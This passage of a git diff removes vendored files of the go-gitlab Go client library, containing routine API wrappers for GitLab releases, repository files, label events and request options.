([]*Release, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Release - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// GetRelease returns a single release, identified by a tag name. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#get-a-release-by-a-tag-name -func (s *ReleasesService) GetRelease(pid interface{}, tagName string, options ...RequestOptionFunc) (*Release, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s", pathEscape(project), tagName) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - r := new(Release) - resp, err := s.client.Do(req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// ReleaseAssets represents release assets in CreateRelease() options -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#create-a-release -type ReleaseAssets struct { - Links []*ReleaseAssetLink `url:"links" json:"links"` -} - -// ReleaseAssetLink represents release asset link in CreateRelease() options -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#create-a-release -type ReleaseAssetLink struct { - Name string `url:"name" json:"name"` - URL string `url:"url" json:"url"` -} - -// CreateReleaseOptions represents CreateRelease() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#create-a-release -type CreateReleaseOptions struct { - Name *string `url:"name" json:"name"` - TagName *string `url:"tag_name" json:"tag_name"` - Description *string `url:"description" json:"description"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Assets *ReleaseAssets `url:"assets,omitempty" json:"assets,omitempty"` -} - -// CreateRelease creates a release. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#create-a-release -func (s *ReleasesService) CreateRelease(pid interface{}, opts *CreateReleaseOptions, options ...RequestOptionFunc) (*Release, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opts, options) - if err != nil { - return nil, nil, err - } - - r := new(Release) - resp, err := s.client.Do(req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// UpdateReleaseOptions represents UpdateRelease() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#update-a-release -type UpdateReleaseOptions struct { - Name *string `url:"name" json:"name"` - Description *string `url:"description" json:"description"` -} - -// UpdateRelease updates a release. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#update-a-release -func (s *ReleasesService) UpdateRelease(pid interface{}, tagName string, opts *UpdateReleaseOptions, options ...RequestOptionFunc) (*Release, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s", pathEscape(project), tagName) - - req, err := s.client.NewRequest("PUT", u, opts, options) - if err != nil { - return nil, nil, err - } - - r := new(Release) - resp, err := s.client.Do(req, &r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// DeleteRelease deletes a release. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#delete-a-release -func (s *ReleasesService) DeleteRelease(pid interface{}, tagName string, options ...RequestOptionFunc) (*Release, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s", pathEscape(project), tagName) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, nil, err - } - - r := new(Release) - resp, err := s.client.Do(req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/repositories.go b/vendor/github.com/xanzy/go-gitlab/repositories.go deleted file mode 100644 index 1c37d118eb..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/repositories.go +++ /dev/null @@ -1,331 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - "io" - "net/url" -) - -// RepositoriesService handles communication with the repositories related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repositories.html -type RepositoriesService struct { - client *Client -} - -// TreeNode represents a GitLab repository file or directory. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repositories.html -type TreeNode struct { - ID string `json:"id"` - Name string `json:"name"` - Type string `json:"type"` - Path string `json:"path"` - Mode string `json:"mode"` -} - -func (t TreeNode) String() string { - return Stringify(t) -} - -// ListTreeOptions represents the available ListTree() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#list-repository-tree -type ListTreeOptions struct { - ListOptions - Path *string `url:"path,omitempty" json:"path,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Recursive *bool `url:"recursive,omitempty" json:"recursive,omitempty"` -} - -// ListTree gets a list of repository files and directories in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#list-repository-tree -func (s *RepositoriesService) ListTree(pid interface{}, opt *ListTreeOptions, options ...RequestOptionFunc) ([]*TreeNode, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tree", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var t []*TreeNode - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// Blob gets information about blob in repository like size and content. Note -// that blob content is Base64 encoded. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#get-a-blob-from-repository -func (s *RepositoriesService) Blob(pid interface{}, sha string, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/blobs/%s", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} - -// RawBlobContent gets the raw file contents for a blob by blob SHA. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#raw-blob-content -func (s *RepositoriesService) RawBlobContent(pid interface{}, sha string, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/blobs/%s/raw", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} - -// ArchiveOptions represents the available Archive() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#get-file-archive -type ArchiveOptions struct { - Format *string `url:"-" json:"-"` - SHA *string `url:"sha,omitempty" json:"sha,omitempty"` -} - -// Archive gets an archive of the repository. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#get-file-archive -func (s *RepositoriesService) Archive(pid interface{}, opt *ArchiveOptions, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/archive", pathEscape(project)) - - // Set an optional format for the archive. - if opt != nil && opt.Format != nil { - u = fmt.Sprintf("%s.%s", u, *opt.Format) - } - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} - -// StreamArchive streams an archive of the repository to the provided -// io.Writer. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#get-file-archive -func (s *RepositoriesService) StreamArchive(pid interface{}, w io.Writer, opt *ArchiveOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/repository/archive", pathEscape(project)) - - // Set an optional format for the archive. - if opt != nil && opt.Format != nil { - u = fmt.Sprintf("%s.%s", u, *opt.Format) - } - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, w) -} - -// Compare represents the result of a comparison of branches, tags or commits. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#compare-branches-tags-or-commits -type Compare struct { - Commit *Commit `json:"commit"` - Commits []*Commit `json:"commits"` - Diffs []*Diff `json:"diffs"` - CompareTimeout bool `json:"compare_timeout"` - CompareSameRef bool `json:"compare_same_ref"` -} - -func (c Compare) String() string { - return Stringify(c) -} - -// CompareOptions represents the available Compare() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#compare-branches-tags-or-commits -type CompareOptions struct { - From *string `url:"from,omitempty" json:"from,omitempty"` - To *string `url:"to,omitempty" json:"to,omitempty"` - Straight *bool `url:"straight,omitempty" json:"straight,omitempty"` -} - -// Compare compares branches, tags or commits. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#compare-branches-tags-or-commits -func (s *RepositoriesService) Compare(pid interface{}, opt *CompareOptions, options ...RequestOptionFunc) (*Compare, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/compare", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(Compare) - resp, err := s.client.Do(req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// Contributor represents a GitLap contributor. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repositories.html#contributors -type Contributor struct { - Name string `json:"name"` - Email string `json:"email"` - Commits int `json:"commits"` - Additions int `json:"additions"` - Deletions int `json:"deletions"` -} - -func (c Contributor) String() string { - return Stringify(c) -} - -// ListContributorsOptions represents the available ListContributors() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repositories.html#contributors -type ListContributorsOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// Contributors gets the repository contributors list. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repositories.html#contributors -func (s *RepositoriesService) Contributors(pid interface{}, opt *ListContributorsOptions, options ...RequestOptionFunc) ([]*Contributor, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/contributors", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var c []*Contributor - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// MergeBaseOptions represents the available MergeBase() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#merge-base -type MergeBaseOptions struct { - Ref []string `url:"refs[],omitempty" json:"refs,omitempty"` -} - -// MergeBase gets the common ancestor for 2 refs (commit SHAs, branch -// names or tags). -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repositories.html#merge-base -func (s *RepositoriesService) MergeBase(pid interface{}, opt *MergeBaseOptions, options ...RequestOptionFunc) (*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/merge_base", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/repository_files.go b/vendor/github.com/xanzy/go-gitlab/repository_files.go deleted file mode 100644 index cc954c27d7..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/repository_files.go +++ /dev/null @@ -1,376 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - "net/url" - "strconv" - "time" -) - -// RepositoryFilesService handles communication with the repository files -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repository_files.html -type RepositoryFilesService struct { - client *Client -} - -// File represents a GitLab repository file. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repository_files.html -type File struct { - FileName string `json:"file_name"` - FilePath string `json:"file_path"` - Size int `json:"size"` - Encoding string `json:"encoding"` - Content string `json:"content"` - Ref string `json:"ref"` - BlobID string `json:"blob_id"` - CommitID string `json:"commit_id"` - SHA256 string `json:"content_sha256"` - LastCommitID string `json:"last_commit_id"` -} - -func (r File) String() string { - return Stringify(r) -} - -// GetFileOptions represents the available GetFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-from-repository -type GetFileOptions struct { - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` -} - -// GetFile allows you to receive information about a file in repository like -// name, size, content. Note that file content is Base64 encoded. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-from-repository -func (s *RepositoryFilesService) GetFile(pid interface{}, fileName string, opt *GetFileOptions, options ...RequestOptionFunc) (*File, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - f := new(File) - resp, err := s.client.Do(req, f) - if err != nil { - return nil, resp, err - } - - return f, resp, err -} - -// GetFileMetaDataOptions represents the available GetFileMetaData() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-from-repository -type GetFileMetaDataOptions struct { - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` -} - -// GetFileMetaData allows you to receive meta information about a file in -// repository like name, size. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-from-repository -func (s *RepositoryFilesService) GetFileMetaData(pid interface{}, fileName string, opt *GetFileMetaDataOptions, options ...RequestOptionFunc) (*File, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("HEAD", u, opt, options) - if err != nil { - return nil, nil, err - } - - resp, err := s.client.Do(req, nil) - if err != nil { - return nil, resp, err - } - - f := &File{ - BlobID: resp.Header.Get("X-Gitlab-Blob-Id"), - CommitID: resp.Header.Get("X-Gitlab-Last-Commit-Id"), - Encoding: resp.Header.Get("X-Gitlab-Encoding"), - FileName: resp.Header.Get("X-Gitlab-File-Name"), - FilePath: resp.Header.Get("X-Gitlab-File-Path"), - Ref: resp.Header.Get("X-Gitlab-Ref"), - SHA256: resp.Header.Get("X-Gitlab-Content-Sha256"), - LastCommitID: resp.Header.Get("X-Gitlab-Last-Commit-Id"), - } - - if sizeString := resp.Header.Get("X-Gitlab-Size"); sizeString != "" { - f.Size, err = strconv.Atoi(sizeString) - if err != nil { - return nil, resp, err - } - } - - return f, resp, err -} - -// FileBlameRange represents one item of blame information. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repository_files.html -type FileBlameRange struct { - Commit struct { - ID string `json:"id"` - ParentIDs []string `json:"parent_ids"` - Message string `json:"message"` - AuthoredDate *time.Time `json:"authored_date"` - AuthorName string `json:"author_name"` - AuthorEmail string `json:"author_email"` - CommittedDate *time.Time `json:"committed_date"` - CommitterName string `json:"committer_name"` - CommitterEmail string `json:"committer_email"` - } `json:"commit"` - Lines []string `json:"lines"` -} - -func (b FileBlameRange) String() string { - return Stringify(b) -} - -// GetFileBlameOptions represents the available GetFileBlame() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-blame-from-repository -type GetFileBlameOptions struct { - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` -} - -// GetFileBlame allows you to receive blame information. Each blame range -// contains lines and corresponding commit info. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-file-blame-from-repository -func (s *RepositoryFilesService) GetFileBlame(pid interface{}, file string, opt *GetFileBlameOptions, options ...RequestOptionFunc) ([]*FileBlameRange, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s/blame", - pathEscape(project), - url.PathEscape(file), - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var br []*FileBlameRange - resp, err := s.client.Do(req, &br) - if err != nil { - return nil, resp, err - } - - return br, resp, err -} - -// GetRawFileOptions represents the available GetRawFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-raw-file-from-repository -type GetRawFileOptions struct { - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` -} - -// GetRawFile allows you to receive the raw file in repository. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#get-raw-file-from-repository -func (s *RepositoryFilesService) GetRawFile(pid interface{}, fileName string, opt *GetRawFileOptions, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s/raw", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var f bytes.Buffer - resp, err := s.client.Do(req, &f) - if err != nil { - return nil, resp, err - } - - return f.Bytes(), resp, err -} - -// FileInfo represents file details of a GitLab repository file. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/repository_files.html -type FileInfo struct { - FilePath string `json:"file_path"` - Branch string `json:"branch"` -} - -func (r FileInfo) String() string { - return Stringify(r) -} - -// CreateFileOptions represents the available CreateFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#create-new-file-in-repository -type CreateFileOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` - Encoding *string `url:"encoding,omitempty" json:"encoding,omitempty"` - AuthorEmail *string `url:"author_email,omitempty" json:"author_email,omitempty"` - AuthorName *string `url:"author_name,omitempty" json:"author_name,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - CommitMessage *string `url:"commit_message,omitempty" json:"commit_message,omitempty"` -} - -// CreateFile creates a new file in a repository. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#create-new-file-in-repository -func (s *RepositoryFilesService) CreateFile(pid interface{}, fileName string, opt *CreateFileOptions, options ...RequestOptionFunc) (*FileInfo, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - f := new(FileInfo) - resp, err := s.client.Do(req, f) - if err != nil { - return nil, resp, err - } - - return f, resp, err -} - -// UpdateFileOptions represents the available UpdateFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#update-existing-file-in-repository -type UpdateFileOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` - Encoding *string `url:"encoding,omitempty" json:"encoding,omitempty"` - AuthorEmail *string `url:"author_email,omitempty" json:"author_email,omitempty"` - AuthorName *string `url:"author_name,omitempty" json:"author_name,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - CommitMessage *string `url:"commit_message,omitempty" json:"commit_message,omitempty"` - LastCommitID *string `url:"last_commit_id,omitempty" json:"last_commit_id,omitempty"` -} - -// UpdateFile updates an existing file in a repository -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#update-existing-file-in-repository -func (s *RepositoryFilesService) UpdateFile(pid interface{}, fileName string, opt *UpdateFileOptions, options ...RequestOptionFunc) (*FileInfo, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - f := new(FileInfo) - resp, err := s.client.Do(req, f) - if err != nil { - return nil, resp, err - } - - return f, resp, err -} - -// DeleteFileOptions represents the available DeleteFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#delete-existing-file-in-repository -type DeleteFileOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` - StartBranch *string `url:"start_branch,omitempty" json:"start_branch,omitempty"` - AuthorEmail *string `url:"author_email,omitempty" json:"author_email,omitempty"` - AuthorName *string `url:"author_name,omitempty" json:"author_name,omitempty"` - CommitMessage *string `url:"commit_message,omitempty" json:"commit_message,omitempty"` - LastCommitID *string `url:"last_commit_id,omitempty" json:"last_commit_id,omitempty"` -} - -// DeleteFile deletes an existing file in a repository -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/repository_files.html#delete-existing-file-in-repository -func (s *RepositoryFilesService) DeleteFile(pid interface{}, fileName string, opt *DeleteFileOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf( - "projects/%s/repository/files/%s", - pathEscape(project), - url.PathEscape(fileName), - ) - - req, err := s.client.NewRequest("DELETE", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/request_options.go b/vendor/github.com/xanzy/go-gitlab/request_options.go deleted file mode 100644 index 9485aed0e2..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/request_options.go +++ /dev/null @@ -1,30 +0,0 @@ -package gitlab - -import ( - "context" - - retryablehttp "github.com/hashicorp/go-retryablehttp" -) - -// RequestOptionFunc can be passed to all API requests to customize the API request. -type RequestOptionFunc func(*retryablehttp.Request) error - -// WithSudo takes either a username or user ID and sets the SUDO request header -func WithSudo(uid interface{}) RequestOptionFunc { - return func(req *retryablehttp.Request) error { - user, err := parseID(uid) - if err != nil { - return err - } - req.Header.Set("SUDO", user) - return nil - } -} - -// WithContext runs the request with the provided context -func WithContext(ctx context.Context) RequestOptionFunc { - return func(req *retryablehttp.Request) error { - *req = *req.WithContext(ctx) - return nil - } -} diff --git a/vendor/github.com/xanzy/go-gitlab/resource_label_events.go b/vendor/github.com/xanzy/go-gitlab/resource_label_events.go deleted file mode 100644 index 8d290b74da..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/resource_label_events.go +++ /dev/null @@ -1,219 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// ResourceLabelEventsService handles communication with the event related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/resource_label_events.html -type ResourceLabelEventsService struct { - client *Client -} - -// LabelEvent represents a resource label event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#get-single-issue-label-event -type LabelEvent struct { - ID int `json:"id"` - Action string `json:"action"` - CreatedAt *time.Time `json:"created_at"` - ResourceType string `json:"resource_type"` - ResourceID int `json:"resource_id"` - User struct { - ID int `json:"id"` - Name string `json:"name"` - Username string `json:"username"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"user"` - Label struct { - ID int `json:"id"` - Name string `json:"name"` - Color string `json:"color"` - TextColor string `json:"text_color"` - Description string `json:"description"` - } `json:"label"` -} - -// ListLabelEventsOptions represents the options for all resource label events -// list methods. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#list-project-issue-label-events -type ListLabelEventsOptions struct { - ListOptions -} - -// ListIssueLabelEvents retrieves resource label events for the -// specified project and issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#list-project-issue-label-events -func (s *ResourceLabelEventsService) ListIssueLabelEvents(pid interface{}, issue int, opt *ListLabelEventsOptions, options ...RequestOptionFunc) ([]*LabelEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/resource_label_events", pathEscape(project), issue) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ls []*LabelEvent - resp, err := s.client.Do(req, &ls) - if err != nil { - return nil, resp, err - } - - return ls, resp, err -} - -// GetIssueLabelEvent gets a single issue-label-event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#get-single-issue-label-event -func (s *ResourceLabelEventsService) GetIssueLabelEvent(pid interface{}, issue int, event int, options ...RequestOptionFunc) (*LabelEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/resource_label_events/%d", pathEscape(project), issue, event) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - l := new(LabelEvent) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// ListGroupEpicLabelEvents retrieves resource label events for the specified -// group and epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#list-group-epic-label-events -func (s *ResourceLabelEventsService) ListGroupEpicLabelEvents(gid interface{}, epic int, opt *ListLabelEventsOptions, options ...RequestOptionFunc) ([]*LabelEvent, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/resource_label_events", pathEscape(group), epic) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ls []*LabelEvent - resp, err := s.client.Do(req, &ls) - if err != nil { - return nil, resp, err - } - - return ls, resp, err -} - -// GetGroupEpicLabelEvent gets a single group epic label event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#get-single-epic-label-event -func (s *ResourceLabelEventsService) GetGroupEpicLabelEvent(gid interface{}, epic int, event int, options ...RequestOptionFunc) (*LabelEvent, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/resource_label_events/%d", pathEscape(group), epic, event) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - l := new(LabelEvent) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// ListMergeLabelEvents retrieves resource label events for the specified -// project and merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#list-project-merge-request-label-events -func (s *ResourceLabelEventsService) ListMergeLabelEvents(pid interface{}, request int, opt *ListLabelEventsOptions, options ...RequestOptionFunc) ([]*LabelEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/resource_label_events", pathEscape(project), request) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ls []*LabelEvent - resp, err := s.client.Do(req, &ls) - if err != nil { - return nil, resp, err - } - - return ls, resp, err -} - -// GetMergeRequestLabelEvent gets a single merge request label event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/resource_label_events.html#get-single-merge-request-label-event -func (s *ResourceLabelEventsService) GetMergeRequestLabelEvent(pid interface{}, request int, event int, options ...RequestOptionFunc) (*LabelEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/resource_label_events/%d", pathEscape(project), request, event) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - l := new(LabelEvent) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/runners.go b/vendor/github.com/xanzy/go-gitlab/runners.go deleted file mode 100644 index 96c23467bc..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/runners.go +++ /dev/null @@ -1,454 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY 